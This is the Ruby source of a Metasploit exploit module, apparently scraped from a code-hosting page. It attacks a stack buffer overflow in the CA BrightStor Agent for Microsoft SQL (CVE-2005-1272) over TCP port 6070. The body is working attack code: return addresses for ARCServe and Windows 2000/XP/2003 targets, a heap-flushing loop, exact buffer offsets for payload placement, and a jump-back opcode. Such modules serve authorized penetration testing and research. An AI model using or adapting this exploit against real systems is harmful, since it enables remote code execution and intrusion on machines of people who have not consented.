Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/brightstor/sql_agent.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'CA BrightStor Agent for Microsoft SQL Overflow',13'Description' => %q{14This module exploits a vulnerability in the CA BrightStor15Agent for Microsoft SQL Server. This vulnerability was16discovered by cybertronic[at]gmx.net.17},18'Author' => [ 'hdm' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2005-1272'],23[ 'OSVDB', '18501' ],24[ 'BID', '14453'],25[ 'URL', 'http://www.idefense.com/application/poi/display?id=287&type=vulnerabilities'],26[ 'URL', 'http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33239'],27],28'Privileged' => true,29'Payload' =>30{31'Space' => 1000,32'BadChars' => "\x00",33'StackAdjustment' => -3500,34},35'Platform' => %w{ win },36'Targets' =>37[38# This exploit requires a jmp esp for return39['ARCServe 11.0 Asbrdcst.dll 12/12/2003', { 'Platform' => 'win', 'Ret' => 0x20c11d64 }], # jmp esp40['ARCServe 11.1 Asbrdcst.dll 07/21/2004', { 'Platform' => 'win', 'Ret' => 0x20c0cd5b }], # push esp, ret41['ARCServe 11.1 SP1 Asbrdcst.dll 01/14/2005', { 'Platform' => 'win', 'Ret' => 0x20c0cd1b }], # push esp, ret4243# Generic jmp esp's44['Windows 2000 SP0-SP3 English', { 'Platform' => 'win', 'Ret' => 0x7754a3ab }], # jmp esp45['Windows 2000 SP4 English', { 'Platform' => 'win', 'Ret' => 0x7517f163 }], # jmp esp46['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71ab1d54 }], # push esp, ret47['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71ab9372 }], # push esp, ret48['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71c03c4d }], # push esp, ret49['Windows 2003 SP1 English', { 'Platform' => 'win', 'Ret' => 0x71c033a0 }], # push esp, ret50],51'DisclosureDate' => '2005-08-02',52'DefaultTarget' => 0))5354register_options(55[56Opt::RPORT(6070)57])58end596061def exploit6263print_status("Trying target #{target.name}...")6465# The 'one line' request does not work against Windows 2003661.upto(5) { |i|6768# Flush some memory69connect70begin71sock.put("\xff" * 0x12000)72sock.get_once73rescue74end75disconnect767778# 3288 bytes max79# 696 == good data (1228 bytes contiguous) @ 0293f5e080# 3168 == return address81# 3172 == esp @ 0293ff8c (2476 from good data)8283buf = rand_text_english(3288, payload_badchars)84buf[ 696, payload.encoded.length ] = payload.encoded85buf[3168, 4] = [target.ret].pack('V') # jmp esp86buf[3172, 5] = "\xe9\x4f\xf6\xff\xff" # jmp -24768788connect89begin90sock.put(buf)91sock.get_once92rescue93end9495handler96disconnect97}98end99end100101102